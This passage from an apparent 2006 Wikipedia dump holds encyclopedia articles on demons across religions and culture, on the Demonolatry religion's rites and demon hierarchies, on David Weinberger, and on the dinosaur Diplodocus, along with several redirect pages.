According to popular tradition, the fall of Satan is portrayed in [[Ezekiel]] 28:12-19 and [[Isaiah]] 14:12-14. Christian mythology builds upon later Jewish traditions that Satan and his host declared war with God, but that God's army, commanded by the archangel [[Michael (archangel)|Michael]], defeated the rebels. Their defeat was never in question, since God is by nature [[omnipotent]], but Michael was given the honor of victory in the natural order; thus the rise of Christian veneration of the archangel Michael, beginning at [[Monte Sant'Angelo sul Gargano|Monte Gargano]] in 493, reflects the full incorporation of demons into Christianity.  God then cast his enemies from [[Heaven]] to the ''abyss'', into a newly created prison called [[Hell]] (allusions to such a pit are made in the [[Book of Revelation]], as pits of sulphur and fire) where all his enemies should be sentenced to an eternal existence of pain and misery. This pain is not all physical; for their crimes, these angels, now called [[demon]]s, would be deprived of the sight of God ([[2 Thessalonians]] 1:9), this being the worst possible punishment.

An indefinite time later, when God created the [[earth]] and [[human]]s, Satan and the other demons were allowed to tempt humans or induce them to [[sin]] by other means. The first time Satan did this was in the earthly paradise or [[Garden of Eden]] to tempt [[Adam and Eve|Eve]], who subsequently drew her husband [[Adam]] into her crime. Upon their failure, as part of the punishment, the permission granted to Satan and his demons to tempt the first humans away from their Creator will now last until the end of this age when Christ shall return for the battle of Armgeddon. Satan and his host will be confined and Christ  shall reign and establish 1000 years of peace upon the earth. At the end of the 1000 years Satan will again be unleashed for a final battle after which the earth shall be renewed by fire.

===Demonologies===
At various times in Christian history, attempts have been made to classify these beings according to various proposed [[demonic hierarchy|demonic hierarchies]].

According to most [[Christian demonology]] demons will be eternally punished and never reconciled with God. Other theories postulate a [[Universal reconciliation]], in which Satan, the fallen angels, and the souls of the dead that were condemned to Hell are reconciled with God. This doctrine is today often associated with the [[Unification Church]]. [[Origen]], [[Jerome]] and [[Gregory of Nyssa]] also mentioned this possibility before it was generally accepted that the fallen state is eternal.

In contemporary [[Christianity]], demons are generally considered to be [[angel]]s who fell from grace by rebelling against [[God]]. Some contest however that this view, championed by [[Origen]], [[Augustine of Hippo|Augustine]] and [[John Chrysostom]], arose during the [[6th century]]. Another theory that may have preceded or co-existed with the hypothesis of fallen angels was that demons were ostracized from Heaven for the primary sin of mating with mortal women, giving rise to a race of half-human giants known as the [[Nephilim]].

There are still others who say that the sin of the angels was pride and disobedience. It seems quite certain that these were the sins that caused Satan's downfall (Ezek. 28). If this be the true view then we are to understand the words, &quot;estate&quot; or &quot;principality&quot; in Deuteronomy 32:8 and Jude 6 (&quot;And the angels which kept not their first estate, but left their own habitation, he hath reserved in everlasting chains under darkness unto the judgment of the great day.&quot;) as indicating that instead of being satisfied with the dignity once for all assigned to them under the Son of God, they aspired higher.

==In pre-Islamic Arab culture==
Pre-Islamic mythology does not discriminate between gods and demons. The jinn are considered as divinities of inferior rank, having many human attributes: they eat, drink, and procreate their kind, sometimes in conjunction with human beings; in which latter case the offspring shares the natures of both parents. The jinn smell and lick things, and have a liking for remnants of food. In eating they use the left hand. Usually they haunt waste and deserted places, especially the thickets where wild beasts gather. Cemeteries and dirty places are also favorite abodes. In appearing to man demons assume sometimes the forms of beasts and sometimes those of men; but they always have some animal characteristic, such as a paw in place of a hand (Darimi, &quot;Kitab al-Sunnah&quot;, ii. 213). Eccentric movements of the dust-whirlwind (&quot;zawabi'&quot;) are taken to be the visible signs of a battle between two clans of jinn.

Generally jinn are peaceable and well disposed toward men. Many a pre-Islamic poet was believed to have been inspired by good jinn; and Muhammad himself was accused by his adversaries of having been inspired by jinn (&quot;majnun&quot;). But there are also evil jinn, who contrive to injure men. Among these are specially conspicuous the three female demons named &quot;[[Ghul]]&quot; (corresponding to the Talmudic [[Lilith]]), &quot;Si'lat&quot;, and &quot;'Alu&amp;#7731;&quot; or &quot;'Aula&amp;#7731;&quot;, and the four male demons &quot;Afrit&quot;, &quot;Azbab&quot;, &quot;Aziab&quot;, and &quot;Ezb&quot;. Ghul is especially harmful to new-born children, and in order to keep her away their heads are rubbed with the gum of an acacia.

==In Islam==
[[Islam]] recognized the existence of all the pagan demons, good and evil, protesting only against their being considered gods. Islam divides the evil demons into five species: &quot;[[jann]]&quot;, &quot;[[Genie|jinn]]&quot;, &quot;[[shaitan]]s&quot;, &quot;[[afrit]]s&quot;, and &quot;[[marid]]s&quot;. 

The [[Qur'an]] referes to the shaidans, of whom [[Iblis]] is the chief. Iblis, is said to have been deprived of authority over the animal and spirit kingdoms, and sentenced to death, when he refused, at the creation of Adam, to prostrate himself before him (Qur'an, vii. 13). The shaidans are the children of Iblis, and are to die when their father dies; whereas the others, though they may live many centuries, must die before him. A popular belief says that Iblis and other evil demons are to survive mankind, though they will die before the general resurrection; the last to die being [[Azrael]], the angel of death.

Tradition attributes to Muhammad the statement that every man has an angel and a demon appointed to attend him. The former guides him toward goodness, while the latter leads him to evil (&quot;Mishkat&quot;, i. ch. 3). The shaidans, being the enemies of Allah, strive to disturb worshipers. Muhammad, it is said, prefaced his prayers with &quot;I seek refuge in Allah from shaitan, the rejected&quot;.

Among the evil jinn are distinguished the five sons of Iblis. It was in order to keep them away that the faithful were commanded the cleansings and fumigations which are unbearable to the shaidans, who delight in dirt and filth. The pronouncing of the &quot;takbir&quot; formula (&quot;Allah akbar&quot; =Allah is very great) is also a means of driving them away. Muhammad, it is said, pronounced it in his travels whenever the appearance of the region changed, lest it might be enchanted. In later times amulets were invented to which were ascribed the virtue of protecting their bearers from the attacks of demons.

The cat plays a part in Islamic demonology. A demon assuming the form of a cat is said to have presented himself to Muhammad while he was praying (Darimi, l.c. ii. 449). Some demons assumed the form of cats (Mas'udi, &quot;Muruj al-Dhahab&quot;, iii. 321). As to the good jinn, there are some among them who profess Islam, and Muhammad held that many of them had listened to his sermons (Koran, sura lxxii.).

==In [[Hinduism]]==
There are three kinds of anthromorphic beings, the ''[[devas]]'' (demigods), the ''manushyas'' (human beings) and the ''[[asuras]]'' (demons). The asuras live in [[Patala]] above [[Naraka]] ([[Hell]]), one of the three [[Lokas]] (worlds, dimensions of existence). The Patala loka exists below Bhu(r)loka (which includes [[Earth]] where humans live). The asuras are often ugly creatures. [[Purana]]s describe many cosmic battles between asuras and devas for supremacy.

Originally, the word '''Asura''' in the earliest hymns of the [[Rig Veda]] (the holy book of the Indo-Aryans) meant any supernatural spirit—good or bad. Hence even some of the devas (demigods), especially [[Varuna]], have the epithet of Asura. In fact, since the /s/ of the Indic linguistic branch is cognate with the /h/ of the Early Iranian languages, the word Asura, representing a category of celestial beings, became the word '''Ahura (Mazda)''', the Supreme God of the [[Zoroastrianism|Zoroastrians]]. But very soon, among the Indo-Aryans, Asura came to exclusively mean any of a race of anthromorphic but hideous demons. All words such as Asura, '''Daitya''' (lit., sons of the demon-mother &quot;Diti&quot;), Rakshasa (lit. from &quot;harm to be guarded against&quot;) are translated into English as '''demon'''. These demons are inherently evil are in a constant battle against the demigods. Hence in Hindu iconography, the gods / demigods are shown to carry weapons to kill the asuras. However, unlike Christianity, the demons are not the cause of the evil and unhappiness in present mankind (which occurs on the account of ignorance from recognizing one's true self). In later Puranic mythology, exceptions do occur in the demonic race to produce god-fearing Asuras like '''Prahalada'''. Also, many Asuras are said to have been granted boons from one of the members of the Hindu [[trinity]], viz., [[Prajapati]], [[Vishnu]] and [[Shiva]] when the latter had been appeased from penances. All Asuras, unlike the devas, are said to be mortals (though they vehemently wish to become immortal). Many people metaphorically interpret these demons as manifestations of the ignoble passions in human mind.

On the account of the Hindu theory of reincarnation and transmigration of souls according to one's [[Karma]], other kinds of demons can also be enlisted. If a human does extremely horrible and sinful karmas in his life, his soul ([[Atman]]) will, upon his death, directly turn into an evil ghostly spirit, many kinds of which are recognized in the later Hindu texts. These demons could be vampire-like beings (pishacha or nar-pishacha), animate corpses (vetala), ghosts (pretatma), etc, which can &quot;possess&quot; human beings. See a [http://www.veda.harekrsna.cz/planetarium/index.htm Tour of Vedic universe].

==Demons in other cultures and religions==
Demons are found in many [[religion]]s, and many cultures have developed a rich mythology of demons.  The study of demons is called [[demonology]], while the worship of demons is known as [[demonolatry]].

In [[Buddhism]] the word '''demon''' can refer to [[sentient]] being in either [[Hell realm]] or [[Asura realm]] depending on the tradition.

In [[Japanese folklore]], demons ([[Yokai]]), are not necessarily evil or even anthropomorphic, but range from the evil [[Oni (Japanese folklore)|oni]] (devils) to the erotic [[meinaishujin]] (unseen or [[invisible master]]s), and to the mischievous [[kitsune]] (fox-spirits). The word demon is often specifically chosen by the Japanese producers of [[anime]] and [[computer games]] as a translation of some other Japanese concepts as well.

==Demons in Hellenistic Neopaganism==
In modern Hellenistic [[Neopaganism|Neopaganism]] (particularly in self-described Hellenistic [[sect]]s in the [[United States]]), a demon can be a variety of things. 

Sometimes Titan gods imprisoned in [[Tartarus]] are considered demons. Typically associated with demons in Hellenistic Neopagan sects are [[Erinyes|Furies]], [[Cyclops]] and [[Hecatonchires]]. Other entities from Hellenistic mythology may also be associated with demons and demonology.

==In art, literature, and television==
[[Image:Vrubel_Demon.jpg|thumb|right|300px|]]In [[Mikhail Lermontov]]'s long poem (1840), the Demon makes love to the virgin Tamara in a scenic setting of the [[Causcaus mountains.]]
Many classic books and plays feature demons, such as the [[The Divine Comedy|Divine Comedy]], [[Paradise Lost]] and [[Faust]].

[[Anton Rubinstein]]'s lushly chromatic [[opera]] ''The Demon'' (1875), based on the poem &quot;The Demon&quot; by [[Michail Lermontov|Lermontov]], was delayed in its production because the censor attached to the [[Mariinsky Theatre]] felt that the libretto was sacrilegious [http://www.opera.lv/demons/default_E.htm].  

In [[C. S. Lewis]]'s ''[[The Screwtape Letters]]'' a senior demon in Hell's hierarchy writes a series of letters to his subordinate trainee, Wormwood, offering advice in the techniques of temptation of humans. Though fictional, it offers a plausible contemporary Christian viewpoint of the relationship of humans and demons.

Demons have permeated the culture of children's cartoons and [[anime]]; they are used in [[comic book]]s as powerful adversaries in the [[Horror fiction|horror]], [[fantasy]] and [[superhero]] stories.  There are a handful of demons who fight for good for their own reasons like [[DC Comics]]' [[The Demon (comics)|The Demon]] and [[Marvel Comics]]' [[Ghost Rider]]. Similarly, [[Hellboy]] is a demon raised by humans and has vowed to protect them.

In [[Philip Pullman]]'s [[His Dark Materials]] trilogy, ''[[Daemon (His Dark Materials)|dæmons]]'' are the physical incarnation of a person's soul.  Although they bear almost no resemblance to Christian demons, the word is pronounced the same.

The works of [[J.R.R. Tolkien]] feature demons called [[Balrog]]s, terrible spirits of flame with humanoid bodies.  In Tolkien's works, [[Melkor]], a.k.a [[Morgoth]], is analogous to Satan and [[Sauron]] is the chief demon in Morgoth's service.    

[[Cenobite]]s are demons which feature in the works of [[Clive Barker]], such as the novel ''[[The Hellbound Heart]]'' on which the film ''[[Hellraiser]]'' is based.

In the novel ''[[Good Omens]]'', by [[Neil Gaiman]] and [[Terry Pratchett]], demons are described as essentially angels working for a different employer.  The demon [[Anthony Crowley]] is said not to have Fallen so much as 'sauntered vaguely downward.'

In recent times, Fr. [[Gabriele Amorth]], chief exorcist at the Vatican, has published two books on his experiences with Satan and demons entitled ''An Exorcist Tells His Story'', and ''An Exorcist: More Stories'' published by Ignatius Press.

In the various books of Skeeve and Aahz by [[Robert Asprin]] a Demon is short for Dimension Traveller. In world A you would see beings from world B as demons, however, should you leave world A and go to world B, you would be the demon to the locals.

==In science==
Scientists occasionally invent hypothetical entities with special abilities as part of a [[thought experiment]]. These &quot;demons&quot; have abilities that are nearly limitless, but they are still subject to the [[physical law]]s being theorized about. 

For example, in Descartes' Second Meditation, it is argued, as a thought experiment, that it is at least possible that there is an all-powerful evil demon who is deceiving me, such that this demon causes me to have false beliefs, including the belief that there is an object before me and the belief that two plus three equals five.  Note that the power of such a demon would be two-fold: both empirical and rational thinking can be completely compromised. This leads to a worrisome argument:

1. One knows some fact or other only when one can rule out that there is such a demon.  
2. But one can never be in a position rule out that there is such a being, since we can never be sure that the demon isn't merely toying with our epistemic situation. 
3. Thus, we can never know any facts at all!
{{seealso2|Maxwell's demon|Laplace's demon}}

==In games==
The earliest connection of the word with games is that the British call a form of [[solitaire]] &quot;Demon&quot;, from at least the [[nineteenth century]]. The selection of this word comes from the observance of a player by others. Formerly, adults nearly always bet on card games. As the player is turned from interaction with others and is forced to move cards around without feeling, the player is metaphorically considered possessed by a demon. 

It has been asserted by conservative religious groups that demons communicate with humans through the use of a [[Ouija]] board and that demonic [[possession]] is possible in this way. The most common explanation is that the Ouija board's users move the game's [[planchette]] with their hands (consciously or unconsciously) and only appear to be communicating with spirits. The resulting possession appears to be purely [[psychosomatic]]. The original idea for the use of spirit boards was to contact [[ghost]]s of dead humans and not evil spirits or demons. 

Many [[fantasy]]-themed [[role-playing game|role-playing]], [[computer game|computer]] and [[Computer and video games|video games]] feature demons as enemies. Some allow [[player character]]s to summon or control demons, and others feature a main character that is a demon or part demon. Such games are sometimes accused of trying to draw children into the [[occult]], although this is a minority viewpoint. See [[Fiend (Dungeons &amp; Dragons)]] for further information on this topic.

Some recent Japanese video games feature demons stylized as a race of beings who are not necessarily irredeemably evil. ''[[Disgaea: Hour of Darkness]]'', in particular, is remarkable for having a young demon king as its main character.

ID Software's [[Doom 3]] contains Demons in the 22nd century on Mars, the lone marine has to fight his way though hords of demons and zombies, as well as evil spirits.

==See also==
*[[Archdemon]]
*[[Ars Goetia]]
*[[Demonolatry]]
*[[Demonology]]
*[[Lilith]]
*[[List of specific demons and types of demons]]
*[[Names of the demons]]
&lt;!-- *[[Imps]] (not relevant; see [[Talk:Devil]]) --&gt;
*[[Interdimensional hypothesis]]
*[[Satan]]
*[[S.L. MacGregor Mathers]]
*[[Spiritual warfare]]
*[[Virus]]

==External links==
*[http://www.vatican.va/archive/ccc_css/archive/catechism/index/d.htm#Demon ''Demons in the Catechism of the Catholic Church'':] Hyperlinked references to demons in the online Catechism of the Catholic Church
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-79 ''Dictionary of the History of Ideas'':] Demonology

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Demons]]
[[Category:History of ideas]]
[[Category:Jewish mysticism]]
[[Category:Occult]]

[[cs:Démon]]
[[da:Dæmon]]
[[de:Dämon]]
[[eo:Demono]]
[[es:Demonio]]
[[fa:دیو]]
[[fr:Démon (esprit)]]
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[[pl:Demon (mitologia)]]
[[pt:Demónio]]
[[ru:Демон]]
[[sr:Демон]]
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[[uk:Демон]]
[[zh:惡魔]]</text>
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  </page>
  <page>
    <title>Demonolatry</title>
    <id>8281</id>
    <revision>
      <id>40486442</id>
      <timestamp>2006-02-20T22:45:57Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Wikipedia URL→wikilink (2); sp (3): Vengence→Vengeance, destuction→distruction, seperate→separate</comment>
      <text xml:space="preserve">'''Demonolatry''' under this name in particular was started as a religion by [[Richard Dukante]].  Prior to this the term Demonolatry was used by the inquisitors during the witch trials.  There was a famous text by [[Nicholas Rémy|Nicholas Remy]] a cruel witch hunter entitled Demonolatry, or, Demonolatriae Libri Tres&quot;.  Remy's text was published in 1570.

Demonolatry--not to be confused with [[demonology]] (the study of Demons) --means, literally, the [[worship]] of [[Demons]](used interchangeably with [[daemons]] as demon and daemon are seen much the same to the Demonolator because the word demon comes from daemon and daimon). Although the word Demonolatry is old, it was originally used (like the label Satanism) as a term of derision to refer to a variety of different religions that the early Church persecuted. It was not adopted as a term of self-reference until relatively recently (late 1950's/early 1960's). Even then, Demonolatry was clandestine. It was not until 1997 when the Guild of Demonolatry (now defunct) finally funded a website--Tezrian's Vault--devoted to the religion that Demonolatry came out-of-the-closet. That site closed in 2001. Previously, many sects simply referred to themselves as followers of [insert name of Demon here]. 

Modern Demonolatry is a [[polytheistic]] religion in which Demonic entities are worshiped and worked with as wise divinities. Each demon is the wellspring of a single energy source. These energies can be defined as universal elements, emotions, or ideas. The most common pantheon of Gods used are demonic--from [[Christian]] mythologies about diabolical beings, which were formerly the Gods of pre-Christian [[Paganism|pagan]] religions. However, [[Roman]], [[History of Greece|Greek]], [[Goetic]] and other pantheons have been used. Perhaps the most popular of the pantheons is the Richard Dukante Hierarchy, which was developed in the early 1960's.  It became the basis for many modern Demonolatry sects. 

Demonolatry is considered a [[left hand path]] religion because it is a religion of the self. It is discovering personal power and living within the natural balance of the energies within the universe. It is also about self-responsibility and inner peace. [[Demons]], to some, are simply focal points of single pure energies. To others they are real entities with personalities and individual consciousness. Each of the demons is seen as the embodiment of an emotion, an element, or an idea. As mentioned, some people believe these energies are sentient (real deities), while others believe they are simply natural forces without consciousness.  The Gods of Demonolatry are demons because they are considered to represent misunderstood or clandestine parts of the natural world. Many demons were merely Gods of pre-Christian pagan religions. There are demons for love and healing just as sure as there are demons for anger and destruction. There is a natural balance to the religion.  For every demon there is an equal and opposite demon. There are also those demons on the subtle in-between of the two. 

In Demonolatry there is no [[heaven]] or [[hell]]. Many Demonolators believe in [[reincarnation]] of our own personal energies. Within the practice of Demonolatry there are many rites. Most of them are meditative (and include prayer and mental exercises), while others incorporate [[magick]] in which requests are burnt, incenses and candles are burnt representing certain aspects of the ritual's design. Many different forms of magick are used in conjunction with the religion. This depends on the individual's preference. A personal belief system that fulfills the needs of the practitioner is encouraged

See The [[Hermetica]] and [[Hermeticism]] to learn more about the core foundation of Demonolatry beliefs.

----

== Demonolatry Holidays ==
There are two types of Demonolators with regards to practice: those whose approach is primarily [[religious]] and those who practice Demonic Magick. Much of modern Demonolatry is steeped in [[elemental]] magick. The major religious rites are as follows (the specific dates may vary, but these are the days these [[holidays]] generally fall on): 

'''March 21''' -  Rite to Lucifer in celebration of enlightenment and the air that sustains life on this planet. Also a celebration of knowledge, education, and ideas. It is also a celebration of spring and new beginnings. Marriages are sometimes performed on or around the Rite to Lucifer. 

'''May 2''' - First Rite to Leviathan. This is typically an initiation ceremony. Leviathan symbolizes the seed cycle and emotional bonds. Many sects choose to initiate their new arrivals during this rite. However, it is also the Rite wherein some people may choose to get married or to conceive children as it symbolizes fertility and bonding. 

'''June 21''' - Rite to Flereous. Flereous is the Phoenix that rises from the ashes. This rite celebrates the warmth of the sun and summer. This is the Rite at which Baphometic Fire Baptisms are performed. Baptisms are rarely performed on children. However, adults may choose to have their matron or patron deity's sigil either branded, tatooed, or cut somewhere into their body. While some cultures may regard this as self mutilation, a Demonolator finds honor in this ritual and bears the &quot;scar&quot; proudly. Nowadays, tatoos are very popular because sigils can be encompassed by a picture. 

'''September 21''' - Second Rite to Leviathan. This is the Rite that celebrates autumn and harvest. It celebrates the element water. It also celebrates emotional ties (married couples sometimes choose this Rite to reaffirm wedding vows). Scrying, tarot readings, and other forms of divination are practiced during this time as it is believed the connection between the parts of the whole are stronger now. 

'''October 31''' - Rite to Eurynomous/Baalberith/Babael. This rite, as in many other traditions, is a celebration of death, dying, and the dead. Many people choose this rite to &quot;destroy&quot; bad feelings by requesting curses on those who have wronged them. Cursing rites are a condoned and encouraged practice in Demonolatry. This is a time of emotional cleansing and self renewal. 

'''December 21''' - Rite to Belial. This is sometimes called the second initiation rite because Belial also represents new beginnings.  Belial represents material things, financial matters, and business endeavors. It is the celebration of winter,  family and friends, and the birth of the sun (as it is the shortest day of the year). 

These are the principal rites practiced by religious Demonolators in addition to the holiday of their [[Patron]]/[[Matron]] [[deity]]. They are too numerous to list. 

Information Used With Permission
Source:  [http://www.ofs-demonolatry.org]

----

== '''Heirarchies of Demons in Demonolatry''' ==
While various hierarchies for Demonolators exist, the most popular are the Dukante and the Goetic.

The [[Goetic]] Hierarchy (from The [[Goetia]]) is a popular hierarchy used by both Traditional and Modern Demonolators.

'''Richard Dukante's Hierarchy (1963)'''

Note: This is one of the few hierarchies acknowledging female demons. Denoted by (f) 
     Satan - King 
     Unsere - (f) Fertility and Sorcery 
     Delepitore - (f) Demoness of Sorcery Enlightement 
     Satanchia - Grand Genreal (War) 
     Agaliarept - Assistant Grand General (War) 
     Lucifage - High Command (Control) 
     Flereous - Fire Elemental 
     Lucifer - Air Elemental 
     Leviathan - Water Elemental 
     Belial - Earth Elemental 
     Beelzebuth - Lord of insects 
     Belphegore - Master of Armorment and Weaponry 
     Mesphito - Keeper of the book of death 
     Amducious - The destroyer 
     Asmodeus - Demon of Lust 
     Sonnielion - (f) Demoness of hate 
     Abbadon - Advisor 
     Ammon - demon of domination 
     Mammon - Demon of Avarice 
     Rosier - Demon of love 
     Ashtaroth - (f) Preistess of friendship 
     Eurynomous - Demon of Death 
     Verrine - Demon of Health 
     Verrier - (f) Demoness of plants and herbalism 
     Ronwe - Demon of Knowledge 
     Babeal - Keeper of Graves 

*Family 1 - Sorcery, Militant, Encompassing, Mother
*Family 2 - Emotion 
*Family 3 - Advisory 
*Family 4 - Love and Friendship (also distruction of these emotions) 
*Family 5 - Death 
*Family 6 - Knowledge 
*Family 7 - Anger/Vengeance 
*Family 8 - Seduction 
*Family 9 - Miscellaneous 

'''Family 1''' 

*Satan - King 
*Unsere - (Female) Fertility and Sorcery 
*Satanchia - Grand General (War) 
*Agaliarept - Assistant Grand General (War) 
*Lucifage - High Command (Control) 
*Flereous - Fire Elemental 
*Lucifer - Air Elemental 
*Beelzebuth - Lord of Lords 
*Belphegore - Master of Weaponry- gain 
*Mesphito - Keeper of the book of death 
*Delepitoré- (Female) Demoness of magick. 
*Belial - Earth Elemental 

'''Family 2''' 

*Luithian - Advisor 
*Azlyn - (Female) Weaves the threads of things to come, future. 
*Leviathan - Water Elemental 
*Sonnelion - (Female) Demoness of hate

'''Family 3''' 

*Abbadon - Advisor 
*Ammon - demon of domination 
*Mammon - Demon of Avarice 

'''Family 4''' 

*Rosier - Demon of love 
*Astarte - (Female) Demoness of love 
*Ashtaroth - (Female) Priestess of friendship 
*Astarot - Matters concerning the heart 
*Amducious - The destroyer 
*Asmodeus - Demon of Lust 

'''Family 5''' 

*Eurynomous - Demon of Death 
*Balberith - Prince of dying 
*Babeal - Keeper of Graves 

'''Family 6''' 

*Verrine - Demon of Health 
*Verrier - (Female) Demoness of herbal knowledge 
*Ronwe - Demon of Knowledge 

'''Family 7''' 

*Svengali - Demon of Vengeance 
*Tezrian - (Female) Priestess of battle 

'''Family 8''' - Some speculation has arisen suggesting that family 8 should actually be coupled with family 3. As it has been suggested these are the females of that family. 

*Asafoetida - (Female) Demoness of feminine attributes 
*Rashoon - (Female) Priestess of seduction 
*Taroon - (Female) Priestess of Desire 

'''Family 9''' 
Consists of lesser hierarchy.

*Berith
*Agares
*Abigor
*Lillith    

'''Source: ''With Permission From The Author'''''
*Modern Demonolatry by S. Connolly (1997, 2005 DB Publishing)
*Lessons in Demonolatry by S. Connolly (1997, 2005 DB Publishing)

----

== The Demonic Enns ==
Another aspect of Demonolatry is the use of the &quot;Enns&quot; which are [[prayers]], [[Invocation|invocations]], to the Demons. Across three or more separate journals of Demonolators, the same enns allegedly appear and date back to the 1500's according to one journal. Some people have speculated that the enns are modern and in one of the [[Gaelic]] languages while others speculate the enns are very old and in the language of the demons.  Traditional Demonolators also have a specific set of seals (signatures), also called [[sigils]], for the Dukante Hierarchy. 

----

== A Basic Definition of Demonolatry ==
Demonolatry is the [[worship]] of one or more [[demon|demons]] or [[Archdemon|archdemons]], typically other than [[Satan]] (Worship of Satan primarily or exclusively is called [[Satanism]]).  Demonolators who classify themselves as Satanists or Satanic Demonolaters worship demons other than Satan in a secondary fashion, if they are worshipped at all.  

In some Demonolatry, Satan is referred to as the &quot;fifth element,&quot; or the source of all other energies. In other words, Satan is the &quot;Whole&quot; and every other Demon is simply a part of the whole. Each person, animal, plant and thing that exists in nature is a part of the whole as well. Some other traditions, on the other hand, treat Satan as just one of many demons available for worship.

Some claim that demonolatry is not related to the modern religious and philosopical movements collectively referred to as Satanism; see the main article on [[Satanism]] for more information.

Demonolatry is often confused with diabolatry, reverse Christianity, [[ceremonial magic]], magick that employs [[evocation]], [[necromancy]] and demonomancy. 
----

== External links ==
*[http://www.ofs-demonolatry.org/ OFS Demonolatry]
*[http://home.comcast.net/~momentomori/  Demonolatry Blends and Articles]

[[Category:Satanism]]
[[ar:عبادة جن]]
[[nl:Demonolatrie]]</text>
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  </page>
  <page>
    <title>Dmitry Ivanovich Mendeleev</title>
    <id>8282</id>
    <revision>
      <id>32418202</id>
      <timestamp>2005-12-22T23:18:04Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Dmitri Mendeleev]]</text>
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  </page>
  <page>
    <title>David Weinberger</title>
    <id>8283</id>
    <revision>
      <id>41529849</id>
      <timestamp>2006-02-27T23:42:01Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>rm caps in section header.</comment>
      <text xml:space="preserve">'''David Weinberger''', born in 1950 in New York, is a technologist and commentator, probably best known as co-author of the [[Cluetrain Manifesto]] (originally a website, and eventually a book). Weinberger's work focuses on how the [[Internet]] is changing human relationships, communication, and society. A philosopher by training, he holds a Ph.D. from the [[University of Toronto]], taught college from 1980-1986, became a marketing consultant and executive at several high tech companies, and currently serves as a fellow at the [[Berkman Center for Internet and Society]] at [[Harvard Law School]]. He is also an avid [http://www.hyperorg.com/blogger/index.html blogger]. He was an advisor to [[Howard Dean]]'s [[U.S. Democratic Party presidential nomination, 2004|2004 presidential campaign]].

==Published works==
* ''The [[Cluetrain Manifesto]]: The End of Business as Usual'' (with [[Christopher Locke]], [[Rick Levine]], and [[Doc Searls]], [[2001]])
* ''[[Small Pieces Loosely Joined]]: A Unified Theory of the Web'' ([[2002]])

==Other works==
* [http://www.worldofends.com/ ''World of Ends, What the Internet Is and How to Stop Mistaking It for Something Else''] (with [[Doc Searls]])

==External links==
{{wikiquote}}
* [http://www.hyperorg.com/ Journal of the Hyperlinked Organization] Weinberger's personal site
* [http://www.hyperorg.com/blogger/ Joho the Blog]
* [http://www.smallpieces.com/ Website for ''Small Pieces'']
* [http://www.evident.com/ Home page]
* [http://webcast.oii.ox.ac.uk/?view=Webcast&amp;ID=20051130_109 Recent talk at the Oxford Internet Institute]
* [http://sandhill.typepad.com/sandhill_trek/2003/12/interview_david.html 2003 interview with Frank Paynter]
{{academic-bio-stub}}
{{US-writer-stub}}

[[Category:1950 births|Weinberger, David]]
[[Category:Living people|Weinberger, David]]
[[category:American bloggers|Weinberger, David]]
[[Category:American technology writers|Weinberger, David]]
[[Category:Technology in society|Weinberger, David]]
[[Category:Berkman Fellows]]</text>
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  </page>
  <page>
    <title>Dense</title>
    <id>8285</id>
    <revision>
      <id>15906294</id>
      <timestamp>2005-02-26T22:58:44Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>Redirecting to [[density (disambiguation)]].  It's amazing that this asserted that the rationals are not dense in the reals; that is idiotic nonsense.</comment>
      <text xml:space="preserve">#REDIRECT[[density (disambiguation)]]</text>
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  </page>
  <page>
    <title>Domino effect</title>
    <id>8286</id>
    <revision>
      <id>20395366</id>
      <timestamp>2005-08-06T07:20:17Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Domino theory]]</text>
    </revision>
  </page>
  <page>
    <title>Dinosaurs</title>
    <id>8288</id>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Dinosaur]]
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  <page>
    <title>Diplodocus</title>
    <id>8289</id>
    <revision>
      <id>40971595</id>
      <timestamp>2006-02-24T05:00:54Z</timestamp>
      <contributor>
        <username>Skorpion87</username>
        <id>959679</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Diplodocus''
| image = Diplodocus skull.jpg
| image_width = 200px
| image_caption = Diplodocus skull
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Sauropsid|Sauropsida]]
| superordo = [[Dinosaur|Dinosauria]]
| ordo = [[Saurischia]]
| subordo = [[Sauropodomorpha]]
| infraordo = [[Sauropoda]]
| familia = [[Diplodocidae]]
| genus = '''''Diplodocus'''''
| genus_authority = [[Othniel Charles Marsh|Marsh]], 1878
| subdivision_ranks = Species
| subdivision = 
''D. carnegiei'' (Hatcher, 1901)&lt;br/&gt;
''D. hayi'' (Holland, 1924)&lt;br/&gt;
''D. longus'' (Marsh, 1878; [[holotype]])&lt;br/&gt;
}}

'''''Diplodocus''''' (dih-PLOH-doc-us) meaning &quot;double beam&quot; in reference to its double-beamed [[chevron (anatomy)|chevron bones]] ([[Greek language|Greek]] ''diplos'' = double + ''dokos'' = beam) is a type of [[dinosaur]] of subgroup [[Sauropoda]]. Diplodocus lived during the [[Jurassic]] period. Scientists gave the dinosaur its name due to the way part of its skeleton was formed. 

The first Diplodocus [[skeleton]] was found at [[Como Bluff]], [[Wyoming]] in [[1878]] and was named ''Diplodocus longus'' (&quot;long double-beam&quot;) by [[paleontology|paleontologist]] [[Othniel Charles Marsh]]. Other species include ''D. carnegiei'' (named after [[Andrew Carnegie]]) and ''D. hayi''. 

Diplodocus remains have been found in the Western [[United States]] of [[Colorado]], [[Utah]],  [[Montana]] and [[Wyoming]]. [[Fossil]]s of this animal are common, except for the [[skull]], which is often missing from otherwise complete skeletons. The skull was very small compared to the [[largest organism|huge size]] of the animal, which could reach up to 27&amp;nbsp;m, although some suggest that the Diplodocus could reach a full length of 45 metres and weigh up to 20 U.S. tons. Instead of the way ''Diplodocidae'' were formerly portrayed, with their necks high up in the air, it is now believed by some that the animal could only keep its head very low to the ground (for grazing), and that the very long tail served as a counterbalance for the long neck. Others think the animal could stand on its hind legs.

[[Image:Diplodocus_carnegii_statue.jpg|frame|left|A statue of ''Diplodocus carnegiei'' taken in [[Pittsburgh, Pennsylvania]].]]

